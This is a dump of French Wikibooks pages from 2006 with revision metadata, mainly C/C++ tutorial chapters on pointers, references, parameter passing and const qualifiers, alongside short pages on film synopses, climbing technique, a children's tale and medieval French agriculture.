hydrodynamiques]]. Wikibooks 7848 38700 2006-03-24T09:23:59Z 81.80.135.189 +#redirect [[Wikilivres:Wikilivres]] #redirect [[Wikilivres:Wikilivres]] Image:Td7bfig4.png 7855 38725 2006-03-24T18:51:02Z SergeMoutou 1178 Collecteur commun Collecteur commun Image:Td7bfig5.png 7857 38729 2006-03-24T19:04:10Z SergeMoutou 1178 Assemblage collecteur ouvert Assemblage collecteur ouvert Programmation C C plus plus Déréférencement, indirection 7858 38732 2006-03-24T19:34:41Z 86.212.109.5 modification du renvoi à la section {{Programmation C C plus plus Pointeurs et références}} == Déréférencement, indirection == Un pointeur ne servirait strictement à rien s'il n'y avait pas de possibilité d'accéder à l'adresse d'une variable ou d'une fonction (on ne pourrait alors pas l'initialiser) ou s'il n'y avait pas moyen d'accéder à l'objet référencé par le pointeur (la variable pointée ne pourrait pas être manipulée ou la fonction pointée ne pourrait pas être appelée). Ces deux opérations sont respectivement appelées indirection et déréférencement. Il existe deux opérateurs permettant de récupérer l'adresse d'un objet et d'accéder à l'objet pointé. Ces opérateurs sont respectivement & et *. Il est très important de s'assurer que les pointeurs que l'on manipule sont tous initialisés (c'est-à-dire contiennent l'adresse d'un objet valide, et pas n'importe quoi). En effet, accéder à un pointeur non initialisé revient à lire ou, plus grave encore, à écrire dans la mémoire à un endroit complètement aléatoire (selon la valeur initiale du pointeur lors de sa création). En général, on initialise les pointeurs dès leur création, ou, s'ils doivent être utilisés ultérieurement, on les initialise avec le pointeur nul. Cela permettra de faire ultérieurement des tests sur la validité du pointeur ou au moins de détecter les erreurs. En effet, l'utilisation d'un pointeur initialisé avec le pointeur nul génère souvent une faute de protection du programme, que tout bon débogueur est capable de détecter. Le pointeur nul se note NULL. Note : NULL est une macro définie dans le fichier d'en-tête stdlib.h. En C, elle représente la valeur d'une adresse invalide. Malheureusement, cette valeur peut ne pas être égale à l'adresse 0 (certains compilateurs utilisent la valeur -1 pour NULL par exemple). C'est pour cela que cette macro a été définie, afin de représenter, selon le compilateur, la bonne valeur. Voir le chapitre "le préprocesseur" pour plus de détails sur les macros et sur les fichiers d'en-tête. La norme du C++ fixe la valeur nulle des pointeurs à 0. Par conséquent, les compilateurs C/C++ qui définissent NULL comme étant égal à -1 posent un problème de portabilité certain, puisque un programme C qui utilise NULL n'est plus valide en C++. Par ailleurs, un morceau de programme C++ compilable en C qui utiliserait la valeur 0 ne serait pas correct en C. Il faut donc faire un choix : soit utiliser NULL en C et 0 en C++, soit utiliser NULL partout, quitte à redéfinir la macro NULL pour les programmes C++ (solution qui me semble plus pratique). ===Exemple - Déclaration de pointeurs=== <pre> int i=0; /* Déclare une variable entière. */ int *pi; /* Déclare un pointeur sur un entier. */ pi=&i; /* Initialise le pointeur avec l'adresse de cette variable. */ *pi = *pi+1; /* Effectue un calcul sur la variable pointée par pi, c'est-à-dire sur i lui-même, puisque pi contient l'adresse de i. */ /* À ce stade, i ne vaut plus 0, mais 1. */ </pre> Il est à présent facile de comprendre pourquoi il faut répéter l'étoile dans la déclaration de plusieurs pointeurs : int *p1, *p2, *p3; signifie syntaxiquement : p1, p2 et p3 sont des pointeurs d'entiers, mais aussi *p1, *p2 et *p3 sont des entiers. Si l'on avait écrit : int *p1, p2, p3; seul p1 serait un pointeur d'entier. p2 et p3 seraient des entiers. L'accès aux champs d'une structure par le pointeur sur cette structure se fera avec l'opérateur '->', qui remplace '(*).'. ===Exemple - Utilisation de pointeurs de structures=== <pre> struct Client { int Age; }; Client structure1; Client *pstr = &structure1; pstr->Age = 35; /* On aurait pu écrire (*pstr).Age=35; */ </pre> Programmation C C plus plus Notion de référence 7859 38733 2006-03-24T19:42:00Z 86.212.109.5 {{Programmation C C plus plus Pointeurs et références}} ==Notion de référence== En plus des pointeurs, le C++ permet de créer des références. Les références sont des synonymes d'identificateurs. Elles permettent de manipuler une variable sous un autre nom que celui sous laquelle cette dernière a été déclarée. Note : Les références n'existent qu'en C++. Le C ne permet pas de créer des références. Par exemple, si « id » est le nom d'une variable, il est possible de créer une référence « ref » de cette variable. Les deux identificateurs id et ref représentent alors la même variable, et celle-ci peut être accédée et modifiée à l'aide de ces deux identificateurs indistinctement. Toute référence doit se référer à un identificateur : il est donc impossible de déclarer une référence sans l'initialiser. De plus, la déclaration d'une référence ne crée pas un nouvel objet comme c'est le cas pour la déclaration d'une variable par exemple. En effet, les références se rapportent à des identificateurs déjà existants. La syntaxe de la déclaration d'une référence est la suivante : type &référence = identificateur; Après cette déclaration, référence peut être utilisé partout où identificateur peut l'être. Ce sont des synonymes. ===Exemple - Déclaration de références=== <pre> int i=0; int &ri=i; // Référence sur la variable i. ri=ri+i; // Double la valeur de i (et de ri). </pre> Il est possible de faire des références sur des valeurs numériques. Dans ce cas, les références doivent être déclarées comme étant constantes, puisqu'une valeur est une constante : <pre> const int &ri=3; // Référence sur 3. int &error=4; // Erreur ! La référence n'est pas constante. </pre> Programmation C C plus plus Lien entre les pointeurs et les références 7860 38734 2006-03-24T19:45:55Z 86.212.109.5 ajout section 4.5 Lien entre les pointeurs et les références {{Programmation C C plus plus Pointeurs et références}} ==Lien entre les pointeurs et les références== Les références et les pointeurs sont étroitement liés. En effet, une variable et ses différentes références ont la même adresse, puisqu'elles permettent d'accéder à un même objet. Utiliser une référence pour manipuler un objet revient donc exactement au même que de manipuler un pointeur constant contenant l'adresse de cet objet. Les références permettent simplement d'obtenir le même résultat que les pointeurs, mais avec une plus grande facilité d'écriture. Cette similitude entre les pointeurs et les références se retrouve au niveau syntaxique. Par exemple, considérons le morceau de code suivant : <pre> int i=0; int *pi=&i; *pi=*pi+1; // Manipulation de i via pi. </pre> et faisons passer l'opérateur & de la deuxième ligne à gauche de l'opérateur d'affectation : <pre> int i=0; int &*pi=i; // Cela génère une erreur de syntaxe mais nous // l'ignorons pour les besoins de l'explication. *pi=*pi+1; </pre> Maintenant, comparons avec le morceau de code équivalent suivant : <pre> int i=0; int &ri=i; ri=ri+1; // Manipulation de i via ri. </pre> Nous constatons que la référence ri peut être identifiée avec l'expression *pi, qui représente bel et bien la variable i. Ainsi, la référence ri encapsule la manipulation de l'adresse de la variable i et s'utilise comme l'expression *pi. Cela permet de comprendre l'origine de la syntaxe de déclaration des références. La différence se trouve ici dans le fait que les références doivent être initialisées d'une part, et que l'on n'a pas à effectuer le déréférencement d'autre part. Les références sont donc beaucoup plus faciles à manipuler que les pointeurs, et permettent de faire du code beaucoup plus sûr. Programmation C C plus plus Passage de paramètres par variable ou par valeur 7861 38735 2006-03-24T19:58:12Z 86.212.109.5 ajout section 4.6 Passage de paramètres par variable ou par valeur (références à corriger) {{Programmation C C plus plus Pointeurs et références}} ==Passage de paramètres par variable ou par valeur== Il y a deux méthodes pour passer des variables en paramètre dans une fonction : le passage par valeur et le passage par variable. Ces méthodes sont décrites ci-dessous. ===Passage par valeur=== La valeur de l'expression passée en paramètre est copiée dans une variable locale. C'est cette variable qui est utilisée pour faire les calculs dans la fonction appelée. Si l'expression passée en paramètre est une variable, son contenu est copié dans la variable locale. Aucune modification de la variable locale dans la fonction appelée ne modifie la variable passée en paramètre, parce que ces modifications ne s'appliquent qu'à une copie de cette dernière. Le C ne permet de faire que des passages par valeur. ===Exemple - Passage de paramètre par valeur=== <pre> void test(int j) /* j est la copie de la valeur passée en paramètre */ { j=3; /* Modifie j, mais pas la variable fournie par l'appelant. */ return; } int main(void) { int i=2; test(i); /* Le contenu de i est copié dans j. i n'est pas modifié. Il vaut toujours 2. */ test(2); /* La valeur 2 est copiée dans j. */ return 0; } </pre> ===Passage par variable=== La deuxième technique consiste à passer non plus la valeur des variables comme paramètre, mais à passer les variables elles-mêmes. Il n'y a donc plus de copie, plus de variable locale. Toute modification du paramètre dans la fonction appelée entraîne la modification de la variable passée en paramètre. Le C ne permet pas de faire ce type de passage de paramètres (le C++ le permet en revanche). ====Exemple - Passage de paramètre par variable en Pascal==== <pre> Var i : integer; Procedure test(Var j : integer) Begin {La variable j est strictement égale à la variable passée en paramètre.} j:=2; {Ici, cette variable est modifiée.} End; Begin i:=3; {Initialise i à 3} test(i); {Appelle la fonction. La variable i est passée en paramètres, pas sa valeur. Elle est modifiée par la fonction test.} {Ici, i vaut 2.} End. </pre> Puisque la fonction attend une variable en paramètre, on ne peut plus appeler test avec une valeur (test(3) est maintenant interdit, car 3 n'est pas une variable : on ne peut pas le modifier). ===Avantages et inconvénients des deux méthodes=== Les passages par variables sont plus rapides et plus économes en mémoire que les passages par valeur, puisque les étapes de la création de la variable locale et la copie de la valeur ne sont pas faites. Il faut donc éviter les passages par valeur dans les cas d'appels récursifs de fonction ou de fonctions travaillant avec des grandes structures de données (matrices par exemple). Les passages par valeurs permettent d'éviter de détruire par mégarde les variables passées en paramètre. Si l'on veut se prévenir de la destruction accidentelle des paramètres passés par variable, il faut utiliser le mot clé const. Le compilateur interdira alors toute modification de la variable dans la fonction appelée, ce qui peut parfois obliger cette fonction à réaliser des copies de travail en local. ===Comment passer les paramètres par variable en C ?=== Il n'y a qu'une solution : passer l'adresse de la variable. Cela constitue donc une application des pointeurs. Voici comment l'Exemple 4-5 serait programmé en C : ====Exemple - Passage de paramètre par variable en C==== <pre> void test(int *pj) /* test attend l'adresse d'un entier... */ { *pj=2; /* ... pour le modifier. */ return; } int main(void) { int i=3; test(&i); /* On passe l'adresse de i en paramètre. */ /* Ici, i vaut 2. */ return 0; } </pre> À présent, il est facile de comprendre la signification de & dans l'appel de scanf : les variables à entrer sont passées par variable. ===Passage de paramètres par référence=== La solution du C est exactement la même que celle du Pascal du point de vue sémantique. En fait, le Pascal procède exactement de la même manière en interne, mais la manipulation des pointeurs est masquée par le langage. Cependant, plusieurs problèmes se posent au niveau syntaxique : * la syntaxe est lourde dans la fonction, à cause de l'emploi de l'opérateur * devant les paramètres ; * la syntaxe est dangereuse lors de l'appel de la fonction, puisqu'il faut systématiquement penser à utiliser l'opérateur & devant les paramètres. Un oubli devant une variable de type entier et la valeur de l'entier est utilisée à la place de son adresse dans la fonction appelée (plantage assuré, essayez avec scanf). Le C++ permet de résoudre tous ces problèmes à l'aide des références. Au lieu de passer les adresses des variables, il suffit de passer les variables elles-mêmes en utilisant des paramètres sous la forme de références. La syntaxe des paramètres devient alors : type &identificateur [, type &identificateur [...]] ====Exemple - Passage de paramètre par référence en C++==== <pre> void test(int &i) // i est une référence du paramètre constant. { i = 2; // Modifie le paramètre passé en référence. return; } int main(void) { int i=3; test(i); // Après l'appel de test, i vaut 2. // L'opérateur & n'est pas nécessaire pour appeler // test. return 0; } </pre> Il est recommandé, pour des raisons de performances, de passer par référence tous les paramètres dont la copie peut prendre beaucoup de temps (en pratique, seuls les types de base du langage pourront être passés par valeur). Bien entendu, il faut utiliser des références constantes au maximum afin d'éviter les modifications accidentelles des variables de la fonction appelante dans la fonction appelée. En revanche, les paramètres de retour des fonctions ne devront pas être déclarés comme des références constantes, car on ne pourrait pas les écrire si c'était le cas. ====Exemple - Passage de paramètres constant par référence==== <pre> typedef struct { ... } structure; void ma_fonction(const structure & s) { ... return ; } </pre> Dans cet exemple, s est une référence sur une structure constante. Le code se trouvant à l'intérieur de la fonction ne peut donc pas utiliser la référence s pour modifier la structure (on notera cependant que c'est la fonction elle-même qui s'interdit l'écriture dans la variable s. const est donc un mot clé « coopératif ». Il n'est pas possible à un programmeur d'empêcher ses collègues d'écrire dans ses variables avec le mot clé const. Nous verrons dans le Chapitre 8 que le C++ permet de pallier ce problème grâce à une technique appelée l'encapsulation.). Un autre avantage des références constantes pour les passages par variables est que si le paramètre n'est pas une variable ou, s'il n'est pas du bon type, une variable locale du type du paramètre est créée et initialisée avec la valeur du paramètre transtypé. ====Exemple - Création d'un objet temporaire lors d'un passage par référence==== <pre> void test(const int &i) { ... // Utilisation de la variable i // dans la fonction test. La variable // i est créée si nécessaire. return ; } int main(void) { test(3); // Appel de test avec une constante. return 0; } </pre> Au cours de cet appel, une variable locale est créée (la variable i de la fonction test), et 3 lui est affectée. Programmation C C plus plus Références et pointeurs constants et volatiles 7862 38737 2006-03-24T20:11:25Z 86.212.109.5 ajout section 4.7 Références et pointeurs constants et volatiles {{Programmation C C plus plus Pointeurs et références}} ==Références et pointeurs constants et volatiles== L'utilisation des mots clés const et volatile avec les pointeurs et les références est un peu plus compliquée qu'avec les types simples. En effet, il est possible de déclarer des pointeurs sur des variables, des pointeurs constants sur des variables, des pointeurs sur des variables constantes et des pointeurs constants sur des variables constantes (bien entendu, il en est de même avec les références). La position des mots clés const et volatile dans les déclarations des types complexes est donc extrêmement importante. En général, les mots clés const et volatile caractérisent ce qui les précède dans la déclaration, si l'on adopte comme règle de toujours les placer après les types de base. Par exemple, l'expression suivante : const int *pi; peut être réécrite de la manière suivante : int const *pi; puisque le mot clé const est interchangeable avec le type le plus simple dans une déclaration. Ce mot clé caractérise donc le type int, et pi est un pointeur sur un entier constant. En revanche, dans l'exemple suivant : <pre> int j; int * const pi=&j; </pre> pi est déclaré comme étant constant, et de type pointeur d'entier. Il s'agit donc d'un pointeur constant sur un entier non constant, que l'on initialise pour référencer la variable j. Note : Les déclarations C++ peuvent devenir très compliquées et difficiles à lire. Il existe une astuce qui permet de les interpréter facilement. Lors de l'analyse de la déclaration d'un identificateur X, il faut toujours commencer par une phrase du type « X est un ... ». Pour trouver la suite de la phrase, il suffit de lire la déclaration en partant de l'identificateur et de suivre l'ordre imposé par les priorités des opérateurs. Cet ordre peut être modifié par la présence de parenthèses. L'annexe B donne les priorités de tous les opérateurs du C++. Ainsi, dans l'exemple suivant : <pre> const int *pi[12]; void (*pf)(int * const pi); </pre> la première déclaration se lit de la manière suivante : « pi (pi) est un tableau ([]) de 12 (12) pointeurs (*) d'entiers (int) constants (const) ». La deuxième déclaration se lit : « pf (pf) est un pointeur (*) de fonction (()) de pi (pi), qui est lui-même une constante (const) de type pointeur (*) d'entier (int). Cette fonction ne renvoie rien (void) ». Le C et le C++ n'autorisent que les écritures qui conservent ou augmentent les propriétés de constance et de volatilité. Par exemple, le code suivant est correct : <pre> char *pc; const char *cpc; cpc=pc; /* Le passage de pc à cpc augmente la constance. */ </pre> parce qu'elle signifie que si l'on peut écrire dans une variable par l'intermédiaire du pointeur pc, on peut s'interdire de le faire en utilisant cpc à la place de pc. En revanche, si l'on n'a pas le droit d'écrire dans une variable, on ne peut en aucun cas se le donner. Cependant, les règles du langage relatives à la modification des variables peuvent parfois paraître étranges. Par exemple, le langage interdit une écriture telle que celle-ci : <pre> char *pc; const char **ppc; ppc = &pc; /* Interdit ! */ </pre> Pourtant, cet exemple ressemble beaucoup à l'exemple précédent. On pourrait penser que le fait d'affecter un pointeur de pointeur de variable à un pointeur de pointeur de variable constante revient à s'interdire d'écrire dans une variable qu'on a le droit de modifier. Mais en réalité, cette écriture va contre les règles de constances, parce qu'elle permettrait de modifier une variable constante. Pour s'en convaincre, il faut regarder l'exemple suivant : <pre> const char c='a'; /* La variable constante. */ char *pc; /* Pointeur par l'intermédiaire duquel nous allons modifier c. */ const char **ppc=&pc; /* Interdit, mais supposons que ce ne le soit pas. */ *ppc=&c; /* Parfaitement légal. */ *pc='b'; /* Modifie la variable c. */ </pre> Que s'est-il passé ? Nous avons, par l'intermédiaire de ppc, affecté l'adresse de la constante c au pointeur pc. Malheureusement, pc n'est pas un pointeur de constante, et cela nous a permis de modifier la constante c. Afin de gérer correctement cette situation (et les situations plus complexes qui utilisent des triples pointeurs ou encore plus d'indirection), le C et le C++ interdisent l'affectation de tout pointeur dont les propriétés de constance et de volatilité sont moindres que celles du pointeur cible. La règle exacte est la suivante : # On note cv les différentes qualifications de constance et de volatilité possibles (à savoir : const volatile, const, volatile ou aucune classe de stockage). # Si le pointeur source est un pointeur cvs,0 de pointeur cvs,1 de pointeur ... de pointeur cvs,n-1 de type Ts cvs,n, et que le pointeur destination est un pointeur cvd,0 de pointeur cvd,1 de pointeur ... de pointeur cvd,n-1 de type Td cvs,n, alors l'affectation de la source à la destination n'est légale que si : :* les types source Ts et destination Td sont compatibles ; :* il existe un nombre entier strictement positif N tel que, quel que soit j supérieur ou égal à N, on ait : :** si const apparaît dans cvs,j, alors const apparaît dans cvd,j ; :** si volatile apparaît dans cvs,j, alors volatile apparaît dans cvd,j ; :** et tel que, quel que soit 0<k<N, const apparaisse dans cvd,k. Ces règles sont suffisamment compliquées pour ne pas être apprises. Les compilateurs se chargeront de signaler les erreurs s'il y en a en pratique. Par exemple : <pre> const char c='a'; const char *pc; const char **ppc=&pc; /* Légal à présent. */ *ppc=&c; *pc='b'; /* Illégal (pc a changé de type). */ </pre> L'affectation de double pointeur est à présent légale, parce que le pointeur source a changé de type (on ne peut cependant toujours pas modifier le caractère c). Il existe une exception notable à ces règles : l'initialisation des chaînes de caractères. Les chaînes de caractères telles que : "Bonjour tout le monde !" sont des chaînes de caractères constantes. Par conséquent, on ne peut théoriquement affecter leur adresse qu'à des pointeurs de caractères constants : const char *pc="Coucou !"; /* Code correct. */ Cependant, il a toujours été d'usage de réaliser l'initialisation des chaînes de caractères de la manière suivante : <pre> char *pc="Coucou !"; /* Théoriquement illégal, mais toléré par compatibilité avec le C. */ </pre> Par compatibilité, le langage fournit donc une conversion implicite entre « const char * » et « char * ». Cette facilité ne doit pas pour autant vous inciter à transgresser les règles de constance : utilisez les pointeurs sur les chaînes de caractères constants autant que vous le pourrez (quitte à réaliser quelques copies de chaînes lorsqu'un pointeur de caractère simple doit être utilisé). Sur certains systèmes, l'écriture dans une chaîne de caractères constante peut provoquer un plantage immédiat du programme. Faire son film-le-synopsis 7865 38742 2006-03-24T21:50:57Z 82.245.113.62 == Description == Le synopsis est un résumé de l'intrigue de l'histoire et des actions qui s'y deroule.Il peut faire entre quelques lignes ou plusieurs page, selon le degré d'aboutissement de l'histoire raconté. == Utilité == Son elaboration est d'une importance structurelle : il permet de placer les differents elements important de l'histoire raconté.Entre autres : *Il place les personnages principaux *Le decor (si le decor a besoin d'etre precisé) *Le deroulement et l'explication (concise et relative) du récit pour un synopsis aboutis Le synopsis reste, pour la plupart des auteurs, le premier pas dans l'ecriture d'un scenario.Il est aussi d'usage, pour les scenaristes professionnel, de s'en servir pour la presentation d'un projet necessitant un financement (auprés d'une maison de production de long-metrage ou maison d'editions de bande-dessiné, le plus souvent) Escalade Technique 7867 41021 2006-04-27T14:13:52Z 82.224.176.232 ortho <h2>L'escalade est un sport dans lequel les mains et les pieds sont très solicités.</h2><br> <h4>Cependant, plus on progresse, plus l'utilisation des pieds et les jambes devient important pour l'équilibre, le transfert du poids du corps. Les mains servent alors à se maintenir ou pour les "passages difficiles".</h4><br><br> Lorsque les amateurs commencent la grimpe, ils peuvent découvrir qu'il existe deux techniques de base :<br> <br> '''la grimpe "de face"''' :dans la majorité des cas, on utilise l'intérieur des pieds, c'est-à-dire que l'intérieur du pied se retrouve contre la paroi. Le corps et la tête sont donc parallèles à la paroi, d'où l'expression "monter de face". <br> '''l'utilisation du "cas externe"''' :le "cas externe" consiste à opposer les jambes et les bras.<br> :Concrètement, ceci revient à poser l'extérieur du pied droit (resp. gauche) contre la paroi et maintenir une prise de main avec la main opposée, à savoir la main gauche (resp. droite).<br> :Une chose importante est la position du bassin qui, celui-ci, doit être placé le plus proche possible de la paroi.<br> :Dans cette position, l'équilibre est donc réparti sur le seul point d'appui (le pied) et maintenu par la prise de main.<br> :Le "cas externe" est très utilisé pour monter des parois en "dévert" (relief négatif) L'équilibre est une chose à maîtriser car lors d'une montée "en tête", un manque d'équilibre peut faire chuter de plusieurs mètres (jusqu'à une dizaine de mètres en voies naturelles). <h4>La montée "en tête" est à opposer à la montée "en moulinette".</h4> '''La montée en moulinette''' consiste à grimper la paroi sans se préocuper de la corde. En effet, celle-ci passe dans un "point relais", qui est un point de référence sur une voie. La corde forme donc un angle aigu entre le grimpeur et l'assureur.<br> Lorsque le grimpeur chute, celui-ci descent de quelques mètres (en général, 2 à 5 mètres).<br> La chute peut-être bien plus importante lors d'une "montée en tête"<br><br> '''La montée en tête''' consiste à monter la voie tout en installant la corde dans les dégaines qu'il faut placer à toutes les "plaquettes" (installation prévu pour le placement de la corde - voir Wikipedia)<br> Ici, la maîtrise de l'équilibre est encore plus important, par le fait qu'il faut une main pour pouvoir manipuler la dégaine et la corde ; les points d'appuis sont donc limités à une main et un voir deux pieds !<br> (autres points à voir : "point relais", le relais, la descente en rappel et techniques d'assurage (par le bas, ou autoassurage avec machard ou shunt), types de prises de main et pose de pied (prise inversée, gratons, réglette, ... fond de plaque, camembert, ... crochetage talon ... "pied-main" ...) Faire son film-Ecrire-scenario 7869 38784 2006-03-25T11:10:08Z 83.113.107.155 LA LEGENDE DES ARBRES Autrefois, il y a très longtemps, les arbres parlaient. Mais, ils ne marchaient pas et ils ne pouvaient pas se reproduire. Ils pratiquaient la magie. Merlo était le plus fort des arbres pour la magie. Forto était le plus fort en force. Grando était le plus grand. Merlo était tellement fort en magie qui transforma Grando en Pépito et il devint petit. Et, Forto en Faiblo et il devint faible. Merlo décida de faire marchaient tous les arbres grâce à la magie. Alors, il inventa une formule magique : « Que la magie m’aide à faire marchaient tous les arbres Par le cercle de la légende des arbres Et la nature » Mais, ça n’a pas marchait et c’est plutôt aller contre lui. Et les arbres ne bougeaient plus à part leur bouche. Et les hommes parlaient et se reproduisaient Mais ne marchaient pas. Ensuite, ils marchaient. Les hommes aussi pratiquaient la magie. Charlie était le plus fort en magie. John était le plus fort en force. Pierre était le plus grand. Charlie était tellement fort en magie qui transforma John en faible. Et, le Grand Pierre en Petit Pierre. Charlie et Merlo se sont entendus pour que les hommes parlent et que les arbres soient muets. Mais en échange les hommes sèmeraient, durant toute leur existence, des graines pour faire pousser les arbres. Depuis, les arbres sont devenus muets. Histoire de la France médiévale:chapitre 7 7872 39105 2006-03-28T15:46:09Z Urban 886 {{Histoire de la France médiévale}} Au Moyen Âge, l'économie demeure essentiellement rurale et la vie quotidienne s'organise autour de la terre. Le fait urbain existe, mais il est minoritaire : la grande majorité des Français vit à la campagne. =Etat de la documentation et débats historiographiques= ==Sources== La vie dans les campagnes apparaît en premier lieu dans les documents écrits : *Les chroniques font état des famines et des disettes *Les fabliaux nous renseigne sur les rapports sociaux et la vie quotidienne *Les actes sont à exploiter avec précaution à cause d'un vocabulaire changeant et divers *Les baux et les inventaires nous laissent entrevoir la patrimoine agricole des paysans (élevage) *Les chartriers, cartulaires et autres documents de gestion domaniale permettent d'identifier les productions en fonction des redevances *Les tarifs des péages, les tonlieux et les taxes donnent des indications sur le commerce des produits agricoles. *Les miniatures offrent un regard stéréotypé sur les paysages, les activités et les outils des campagnes. *Les peintures et les sculptures des églises nous livre des détails sur les activités agricoles et les outils. Les développements relativement récents des sciences auxiliaires de l'Histoire complètent les sources écrites : *L'archéologie fouille les villages, les dépotoirs et les cimetières. **La carpologie étudie les paléosemences : grains de céréale fossilisés, empreintes d'épis dans l'argile cuite ... **L'ostéologie s'attache à décrire les squelettes et les os humains. **L'archéozoologie examine les ossements et les cornes des bestiaux. =Les produits de l'agriculture et de l'élevage= Quelles étaient les principales productions agricoles au Moyen Âge ? Comment caractériser l'alimentation de cette époque ? L'agriculture de la France médiévale est avant tout une agriculture vivrière et diversifiée. La polyculture est la règle générale, les productions d'un terroir sont plurielles afin de contrer les mauvaises récoltes ou les épizooties ; elle permet de varier le régime alimentaire. Si le paysan cherche à être autosuffisant et à nourrir sa famille, il lui arrive aussi de vendre ses excédents sur le marché le plus proche. Le vin était lui aussi souvent destiné à la commercialisation, voire à l'exportation plus ou moins lointaine. ==Le niveau et la qualité des productions== Il est difficile pour les historiens d'avancer des statistiques sûres, générales et précises sur l'état des récoltes ou sur les rendements. Plusieurs se sont risqués à cet exercice, dans le cadre de thèses et de monographies régionales. De manière globale, on peut dire que la qualité et la quantité de nourriture sont tributaires de trois facteurs principaux : le niveau des récoltes, la région, la catégorie sociale et la période. * Le niveau des récoltes varie d'une année à l'autre. Il dépend des conditions météorologiques : un été pourri, c'est-à-dire pluvieux et frais, ruine les efforts des paysans et compromet la moisson. Les paysans utilisent des "céréales de rattrapage" pour le cas d'hivers trop rigoureux. Ils sèment des céréales de printemps ou encore des plantes plus tardives afin de pallier le manque de céréales d'hiver. * Les productions agricoles varient également d'une région à l'autre. Les paysans doivent prendre en compte les données naturelles telles que la qualité du sol, la nature du terrain, le climat. Par exemple, le seigle s'adapte bien aux sols pauvres et aux climats rigoureux. La Beauce est le terrain du froment. Mais il est aussi contraint de cultiver certaines céréales plutôt que d'autres par son seigneur. * La catégorie sociale détermine le niveau et la qualité de la consommation alimentaire : les milieux aristocratiques bénéficient des meilleurs pains (pains blancs au froment) et se nourrissent de plus de viande que les vilains<ref>Samuel Leturcq, ''La vie rurale ...'', page 13.</ref>. * Enfin, l'homme du Moyen Âge ne se nourrit pas de la même façon toute l'année. Les périodes de l'Avent et surtout du Carême sont des moments de jeûne au cours desquels le régime alimentaire change. Pendant ces temps liturgiques de préparation à Noël et à Pâques, la consommation de poisson augmente. ===Famines et disettes=== Les crises des XIV{{e}} et XV{{e}} siècles ont donné lieu à des famines et des disettes fréquentes. Cependant, il serait abusif de généraliser ces situations dramatiques à l'ensemble du Moyen Âge français<ref>Laure Verdon, ''Le Moyen Âge'', Paris, Le Cavalier Bleu, 2003, page 10.</ref>. La rigueur éxige également de bien distinguer les trois notions de malnutrition, de disette et de famine. *Chronologie des famines Les chroniques du Haut Moyen Âge font état de famines fréquentes<ref>Article "famine" du ''Dictionnaire du Moyen Âge'', page 516</ref>. Au XIII{{e}} siècle, le spectre de la famine et de la disette semble s'éloigner<ref>Monique Bourin-Derruau, ''Temps d'équilibres ...'', page 12</ref>. ===Rendements, productivité=== Au Moyen Âge, une vache produit en moyenne 8 à 13 litres de lait quotidiennement et représente 150 à 170 Kg de viande<ref>Samuel Leturcq, ''La vie rurale ...'', page 25.</ref>. Finalement, au Moyen Âge classique, la nourriture semble suffisante même si elle présente des carences. L'alimentation repose sur les céréales, panifiées, préparées en bouillies ou fermentées pour les boissons. ===Prépondérance et diversité des céréales=== Avec l'essor agricole du début du XI{{e}} siècle, la surface des terres céréalières s'accroît : ce phénomène progressif s'appelle la "céréalisation". Par contre-coup, les superficies utilisées pour l'élevage tendent à diminuer en valeur relative. Il existe plusieurs sortes de céréales, cultivées sur un même terroir. Les documents médiévaux évoquent les «blés» (''bleds'') : ce terme générique recouvre en réalité un éventail de diverses céréales : il peut désigner le froment, mais aussi l'épeautre, l'orge, l'avoine ou le millet<ref>Samuel Leturcq, ''La vie rurale ...'', page 13.</ref>. Ces «blés» sont de qualité inégale : le blé dur s'oppose au blé tendre (froment) ; le blé blanc désigne le froment, le blé noir, le sarrasin. Les céréales que nous consommons aujourd'hui sont devenues très différentes<ref>Article "céréaliculture" du ''Dictionnaire du Moyen Âge'', pages 239-240.</ref>. La préparation des céréales nécessitent l'existence de meules installées dans les maisons paysannes. Au Moyen Âge classique, l'usage du moulin seigneurial est un monopole économique. Il donne lieu au versement d'une taxe au représentant du seigneur banal. * Le froment : blé semé en automne et moissonné en été, le froment est la céréale la plus cultivée au Moyen Âge classique. Il a remplacé progressivement l'épeautre de l'époque carolingienne. Le froment est la céréale noble par excellence : il donnait un pain de grande qualité et servait à la préparation des hosties<ref>Article "céréaliculture" du ''Dictionnaire du Moyen Âge'', pages 239-240.</ref>. * L'avoine : tout comme le froment, il s'agit d'une céréale dont la progression s'explique par le développement de l'élevage, notamment des chevaux. Avec l'essor de la chevalerie aux XI{{e}}-XIII{{e}} siècles, les besoins en avoine augmentent. Le ravitaillement constitue une problématique essentielle lors des périodes de guerre. Enfin, n'oublions pas que le cheval est également utilisé pour sa force de traction. Dans le nord du pays, il est de plus en plus employé pour les opérations de labour. L'avoine est consommée sous forme de bouillie. Céréale peu exigeante, elle ne pousse guère en milieu méditerranéen où les printemps sont trop secs<ref>Monique Bourin-Derruau, ''Temps d'équilibres ...'', page 95.</ref>. * L'orge est une céréale d'hiver, même s'il arrive qu'elle soit semée au printemps dans les régions méditerranéennes. Elle entre dans la fabrication de la bière et de la cervoise. Elle est donnée aux bestiaux et peut être panifiée avec du froment. Son importance relative tend à diminuer au cours du Moyen Âge. * Le seigle est semé en hiver et pousse surtout en montagne. Sa farine permet de produire un pain noir de qualité médiocre. * Le millet est une céréale de printemps et peut être plantée en rattrapage jusqu'en mai / juin. * Le méteil désigne un mélange de deux céréales cultivées sur une même parcelle. * Les légumineuses offrent une importante source de protéines. Fèves, pois, vesces fixent l'azote dans le sol et leur culture évite donc son appauvrissement rapide. Elles sont réduites en farines grossières, consommées avec du lard (pois) ou encore données au bétail. * Le sarrasin n'est pas une céréales mais une polygonacée<ref>Fernand Braudel, ''Civilisation matérielle ...'', tome 1, page 119.</ref>. Semée en mai-juin, elle est introduite en Bretagne au XV{{e}} siècle seulement<ref>Article "céréaliculture" du ''Dictionnaire du Moyen Âge'', pages 239-240.</ref>. * Le riz est cultivé dans les zones humides d'Espagne et d'Italie à la fin du Moyen Âge. On le retrouve sur les marchés des foires de Champagne<ref>Fernand Braudel, ''Civilisation matérielle ...'', tome 1, page 116.</ref>. ==Les autres cultures== Si la production de céréales a longtemps focalisé l'attention des historiens, il ne faut pas négliger les autres productions agricoles telles que la vigne, les fruits et les légumes. Les vergers et les jardins étaient l'objet de soins intensifs tout au long de l'année. Le maraîchage était pratiqué sur de petits lopins proches des habitations ou à la périphérie des cités. Notons ici que l'espace urbain était mis en valeur pour donner différentes productions agricoles telles que la vigne par exemple. Cela donnait aux villes médiévales un aspect agraire bien différent de celui d'aujourd'hui. Mais revenons aux campagnes maraîchères ; les terres étaient amendées par les fumures. Les productions intéressaient les activités et le marché urbains. L'industrie textile était demandeuse de plantes tinctoriales telles que la guède, le pastel ou la garance. Avec l'essor des 